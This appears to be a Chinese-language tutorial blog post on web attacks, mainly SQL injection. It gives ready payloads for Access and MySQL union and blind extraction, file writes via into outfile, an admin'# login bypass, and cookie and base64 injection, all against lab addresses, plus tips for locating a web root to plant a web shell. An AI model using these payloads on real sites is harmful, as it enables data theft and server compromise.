准备工作
如何判断网站服务器操作系统
Windows大小写不敏感
,Linux
区分大小写
伪静态与静态的区别
静态网页就是,比如知乎网站上放了一个abc.html文件,你想访问它就直接输入zhihu. com/abc.html。Web服务器看到这样的地址就直接找到这个文件输出给客户端。
动态网页就是,假如你想做一个显示当前时间的页面,那么就可以写个PHP文件,然后访问zhihu.com/abc.php。Web服务器看到这样的地址,找到abc.php这个文件,会交给PHP执行后返回给客户端。而动态网页往往要输入参数,所以地址就变成zhihu. com/abc.php?a=1&b=2。
搜索引擎比较烦这种带问号的动态网页,因为参数可以随便加,而返回内容却不变,所以会对这种网页降权。
于是有了mod_rewrite,它可以重新映射地址。比如当前这个页面的地址http://www.zhihu.com/question/20153311,Web服务器收到请求后会重新映射为www.zhihu.com/question.php?n=20153311,然后再执行那个PHP程序。(以上网址均为假设)这样,在内部不改变的情况下,对外呈现出来的网址变成了没有问号的象静态网页的网址一样。
于是有人给起了个名字叫“伪静态”。其实也没什么伪的,就是没有问号的静态网址,让搜索引擎舒服点而已。
那么如何判断是否为伪静态呢?
控制台输入:document.lastModified
假如和当前时间一样则为伪静态,如果比当前时间较早则为静态。
如何判断网站数据库
端口扫描和搭建分析
网站扫描探针数据库类型除内网服务器外,还会有哪些情况导致探针失败:站库分离、数据库端口被更改
常见数据库端口:mysql
:3306, mssql
:1433,oracle
: 1521
获取网站根路径
获取到路径我们才能注入web shell
-
遗留文件获取
网站根目录下留下的探针文件:
php.php
、phpinfo.php
、php_info.php
、test.php
等,字典爆破 -
报错显示:Debug没关,比如直接
?id=1'
-
漏洞暴路径:直接搜索网站平台漏洞 比如dedecms
-
读取搭建平台配置文件:
比如
Apache
搭建的,就可以读取Apache
的配置文件httpd.conf
-
社工(字典、猜):
D:/wwwroot
、D:/www
善用搜索:
site:xxx.com warning
SQL注入
SQL注入产生的原因:程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。
攻击方法、攻击结果均由数据库类型决定
注入点基本原理: http://domian.com/page.php?param=1 and 1=1
因为and 1=1
始终为真,所以会返回正常的网页
http://domian.com/page.php?param=1 and 1=2
因为and 1=2
始终未假,所以会返回错误的网页
SQL注入可以调用数据库哪些操作:文件读写,调用执行(cmd
)。
SQL产生的必要条件:
- 变量接受
- 带入数据库查询执行
- 不存在过滤(如果存在可以尝试过滤,例如关键字过滤)
1. 针对access数据库注入
组合查询法:union
速度快,兼容性一般,该方法同样适用于MySQL
-
先用
order
确定列的数目:http://10.211.55.17/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
,不报错 -
http://10.211.55.17/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
在页面上暴露出字段
-
http://10.211.55.17/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin
在页面中猜列名,最后猜数据
逐字猜解法
注入工具采用的方法
-
查表:
and exists(select * from 表名)
-
查列:
and exists(select 列名 from 表名)
-
确定长度:确定长度,确定asc数据(ascii编码)
and (select top 1 len(列名) from admin) = 16 // 确定长度 and (select top 1 asc(mid(列名,位数,1)) from admin) = 97 // 逐字求每个字符的ascii编码,此条语句表示该为ascii是否为97
top
子句用于规定要返回的记录的数目asc()
函数用于获取ascii
mid()
函数用于截取字符串:
2. 针对MySQL(> 5.0)是SQLi
与Access注入区别:
- 结构不一样
- Access属于暴力破解( 没法知道某些表),MySQL(> 5.0)属于有根据的猜解
如何有根据的手工注入
information_schema
:存储MySQL下所有信息的数据库
informatiom.tables
:存储所有数据库下表名信息的表
information.columns
:存储所有数据库下列名信息的表
Tips: 第一步依然是
order by n
定列数,然后union select 1,2,...
想办法暴露出数据,然后才继续下面步骤
- 获取所有数据库名:
http://127.0.0.1/index.php?id=1+UNION+SELECT+1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
- 获取某数据库下所有表名信息:
http://127.0.0.1/index.php?id=1 union select group_concat(table_name),2,3,... from information_schema.tables where table_schema=0x656b75636d73
// 上面代码省略号处要根据order by判定的列的数量来定
// table_schema:数据库名
// table_name:表名
// 注意最后数据库名必须用16进制编码
// group_concat():将多个字符串连接成一个字符串
- 获取某个表下所有列名:
http://127.0.0.1/index.php?id=1 union select group_concat(column_name),2,3,... from information_schema.columns where table_name=0x656b75726532775f75736572
// column_name:列名
// 表名依旧需要16进制编码
-
相关参数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
http://127.0.0.1/index.php
?id=1 and 1=2 union select 1,concat_ws(char(32,58,32),0x7c,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
测试不同数据库用户的操作权限
文件读写测试:load_file()
、into outfile '...'
首先必须拥有File_priv
权限,我们用root
权限来测试
先测试导出文件:
select * into outfile 'c:\\aaa.txt' fields terminated by ',' from ekucms.ekure2w_user;
再测试导入文件:
select load_file('c:\\aaa.txt');
遇到问题:root账户以及分配
File_priv
权限,为何仍然不能导入导出?答:MySQL版本问题
MySQL新版本下secure-file-priv字段:secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
- ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
所以我们只需要在
my.ini
中[mysqld]
的末尾加入secure_file_priv="/"
即可
注入点数据库用户权限由什么决定? 由连接数据库时的用户决定
MySQL注入点进行文件读写操作
条件:root
权限注入点,其他用户没有此权限(可以理解为只有后端用root
用户连接数据库时,才有下面的注入点!)
写入文件:
http://127.0.0.1/index.php
?id=-1 union select 1,'File abc.txt',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'c:\\abc.txt'
// 此处的1~17均不可少,因为注入点的表单有17列
读取文件:
http://127.0.0.1/index.php
?id=-1 union select 1,load_file('c:\\abc.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
注意:
- 路径问题: 尽量使用
\\
和/
,不要使用\
- 编码问题:避免数据中带有单引号导致的问题,可以采用16进制编码(注意外面的引号不参加编码)
http://127.0.0.1/index.php ?id=-1 union select 1,0x2746696c65206162632e74787427,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'c:/axa.txt'
后台绕过
假设原始的SQL语句:
select * from user where username='' and password=''
我们只需要输入:admin'#
select * from user where username='admin'#' and password=''
// 直接注释了后面的语句,password校验不会执行
或者输入:admin' or '1'='1'#
select * from user where username='admin' or '1'='1'#' and password=''
// 前面部分'1'='1'===true,故or判断永远为true
MySQL 盲注攻击
-
sleep
延迟盲注:补充: sleep可以让语句运行N秒钟,前提语句执行必须正确且有结果返回
我们不用
order
,单纯用盲注来猜位数:如果位数猜错,是不会有延迟的效果
只有位数猜对了,才会有延迟的效果并输出结果
下面我们再结合
if
。 -
sleep if
mysql
中if
语法:if(条件, true, false)
集合此语法我们可以也进行猜测:
http://127.0.0.1/index.php ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,sleep(if(mid(database(), 1, 1)='e', 3, 0)) // mid函数用于得到字符串的一部分 // 猜测有没有名字第一位为e的数据库,有的话sleep 3秒后再返回结果
3. 其他类型的注入
类型注入
遇到字符型的参数该怎么办?如果直接在后面添加注入点,会被自动并入引号内,并且不会执行:
http://127.0.0.1/str/index.php
?username=jerry order by 17
所以我们分别将前面和后面的分号闭合:
http://127.0.0.1/str/index.php
?username=jerry' order by 17 and '1'='1
搜索注入
注入原理同类型注入,不多说
http://127.0.0.1/search/index.php
?username=-1%'+UNION+ALL+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='
select * from admin where username='%-1%'+UNION+ALL+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='%'
POST注入与Cookie注入
POST注入就是将注入语句插入到到POST请求的DATA中
而Cookie注入则是将注入语句写入到数据包头部的Cookie字段中,使用抓包工具Burp
例如:
GET /cookiesqlin/ProductShow.asp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: BYMMXHDUWVMXNEGJSULA=QRFDDWZKIJSUVAQWIQUXLKTVYAHJFWHXBZEGIZGF; dmwh_user_ip=127.0.0.1;ID=62%20union%20select%201,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
在cookie注入的时候,空格必须用%20
代替
Base64注入
参数先进行base64
编码,在后台通过base64
解码后,带入数据库执行。
例如:
127.0.0.1/index.php?id=1 and 1=1
这样传是无效的,把参数值用base64
编码:
127.0.0.1/index.php?id=MSBhbmQgMT0x
发表评论